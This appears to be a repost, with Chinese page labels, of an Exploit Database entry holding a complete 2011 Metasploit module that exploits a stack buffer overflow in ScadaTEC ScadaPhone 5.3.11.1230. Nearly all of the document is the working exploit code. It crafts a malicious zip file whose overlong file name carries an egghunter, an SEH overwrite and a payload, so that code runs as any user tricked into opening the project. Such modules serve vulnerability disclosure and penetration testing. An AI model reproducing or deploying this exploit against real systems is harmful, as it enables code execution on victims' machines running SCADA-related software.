ScadaTEC ScadaPhone 5.3.11.1230 – Local Stack Buffer Overflow (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2011-09-13
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17833/

• ##
  # $Id: scadaphone_zip.rb 13728 2011-09-13 20:10:28Z swtornio $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  require 'rex/zip'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::FILEFORMAT
  	include Msf::Exploit::Remote::Seh
  	include Msf::Exploit::Remote::Egghunter
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'ScadaTEC ScadaPhone <= v5.3.11.1230 Stack Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack-based buffer overflow vulnerability in
  				version 5.3.11.1230 of scadaTEC's ScadaPhone.
  
  				In order for the command to be executed, an attacker must convince someone to
  				load a specially crafted project zip file with ScadaPhone.
  				By doing so, an attacker can execute arbitrary code as the victim user.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'mr_me <steventhomasseeley[at]gmail.com>', # found + msf
  				],
  			'Version'=> '$Revision: 13728 $',
  			'References' =>
  				[
  					#[ 'CVE', '' ],
  					[ 'OSVDB', '75375' ],
  					[ 'URL', 'http://www.scadatec.com/' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/17817/' ],
  				],
   		'Platform'=> [ 'win' ],
   		'Payload' =>
  				{
  					'Space'=> 700,
  					'BadChars' => "\x00\x0a\x0d",
  					'DisableNops' => true,
  				},
  			'Targets'=>
  				[
  					# POP ESI; POP EBX; RETN [ScadaPhone.exe]
  					[ 'Windows Universal', { 'Ret' => 0x004014F4 } ],
  				],
  			'DisclosureDate' => 'Sep 12 2011',
  			'DefaultTarget'=> 0))
  
  			register_options(
  		 	[
  				OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
  			], self.class)
  
  	end
  
  	def exploit
  
  		eggoptions = 
  		{
  			:checksum => false,
  			:eggtag => 'zipz' 
  		}
  
  		hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
  
  		fname = rand_text_alpha_upper(229)
  		fname << hunter
  		fname << rand_text_alpha_upper(48-hunter.length)
  		fname << Rex::Arch::X86.jmp_short(-50)
  		fname << rand_text_alpha_upper(2)
  		fname << [target.ret].pack('V')
  		fname << rand_text_alpha_upper(100)
  		fname << egg
  		fname << rand_text_alpha_upper(4096-fname.length)
  		fname << [0x7478741e].pack('V')
  
  		zip = Rex::Zip::Archive.new
  		xtra = [0xdac0ffee].pack('V')
  		comment = [0xbadc0ded].pack('V')
  		zip.add_file(fname, xtra, comment)
  
  		# Create the file
  		print_status("Creating '#{datastore['FILENAME']}' file...")
  
  		file_create(zip.pack)
  	end
  
  end